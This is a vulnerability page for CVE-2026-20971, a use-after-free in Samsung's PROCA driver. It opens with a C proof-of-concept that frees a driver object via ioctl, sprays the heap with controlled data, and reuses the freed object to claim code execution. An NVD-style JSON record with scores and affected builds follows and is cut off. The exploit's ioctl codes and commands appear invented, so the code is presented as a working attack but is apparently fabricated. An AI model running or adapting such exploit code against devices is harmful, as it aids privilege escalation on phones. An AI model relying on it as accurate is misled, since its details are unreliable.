CVE-2026-20971

// CVE-2026-20971 PoC - Use After Free in Samsung PROCA Driver // This is a conceptual PoC for educational purposes only #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #define PROCA_DEVICE "/dev/proca" #define SPRAY_COUNT 0x100 // Structure to interact with PROCA driver struct proca_request { unsigned long cmd; unsigned long arg1; unsigned long arg2; void *buffer; unsigned long size; }; int spray_heap(int proca_fd) { // Spray heap with controlled data to occupy freed memory char *spray_buffers[SPRAY_COUNT]; for (int i = 0; i < SPRAY_COUNT; i++) { spray_buffers[i] = malloc(0x1000); memset(spray_buffers[i], 0x41, 0x1000); // Fill with controlled data struct proca_request req = { .cmd = 0xDEADBEEF, // Trigger specific PROCA operation .buffer = spray_buffers[i], .size = 0x1000 }; ioctl(proca_fd, 0x80000001, &req); } return 0; } int trigger_uaf(int proca_fd) { // Step 1: Allocate object in PROCA driver struct proca_request alloc_req = { .cmd = 0x1001, // Allocation command .size = 0x100 }; ioctl(proca_fd, 0x80000001, &alloc_req); // Step 2: Free the object (trigger UAF condition) struct proca_request free_req = { .cmd = 0x1002, // Free command .arg1 = alloc_req.arg1 // Object handle }; ioctl(proca_fd, 0x80000001, &free_req); return 0; } int main(int argc, char *argv[]) { int proca_fd = open(PROCA_DEVICE, O_RDWR); if (proca_fd < 0) { perror("Failed to open PROCA device"); return -1; } printf("[*] Triggering UAF in PROCA driver...\n"); trigger_uaf(proca_fd); printf("[*] Spraying heap with controlled data...\n"); spray_heap(proca_fd); printf("[*] Triggering use-after-free to achieve code execution...\n"); // Re-access the freed memory through PROCA driver struct proca_request use_req = { .cmd = 0x1003, // Use-after-free trigger .arg1 = 0x4141414141414141 // Controlled data }; ioctl(proca_fd, 0x80000001, &use_req); close(proca_fd); return 0; }

{"cve": {"id": "CVE-2026-20971", "sourceIdentifier": "[email protected]", "published": "2026-01-09T07:16:03.547", "lastModified": "2026-01-15T19:33:54.930", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use After Free in PROCA driver prior to SMR Jan-2026 Release 1 allows local attackers to potentially execute arbitrary code."}, {"lang": "es", "value": "Uso después de liberar en el controlador PROCA anterior a la versión 1 de SMR de enero de 2026 permite a atacantes locales ejecutar potencialmente código arbitrario."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "BDE4D65E-8F9B-4810-AED6-95564A97D741"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "70825981-F895-4BFD-9B6E-92BFF0D67023"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "A5E68B7B-BA08-4E8C-B60A-B3836C6986BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "AC42E785-02BF-4F27-B5CF-49572A2DBC8E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "0AF1EDA0-2712-4C3C-8D8A-89E154BB63DF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "88DC0A82-CAF3-4E88-8A4D-8AF79D0C226D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "6239D93F-CA0E-4120-96A1-FB63276EAEE8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "25F19D02-1FFC-48AF-9CB8-063C459E7A4B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2021-r1:*:*:*:*:*:*", "matchCriteriaId": "CD382E2D-0B51-4908-989A-88E083FC85BF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "299284DA-85AB-4162-B858-E67E5C6C14F7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "38B7AB56-AB65-4557-A91C-40CA2FD12351"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "858B0736-2272-4D5A-A77F-47023D21F7D0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "BB730563-7C35-4384-89BD-6EE0C5C6126B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "61D507C0-086B-4139-A560-126964DFA579"}, {"vulnerable": true, "cri ... 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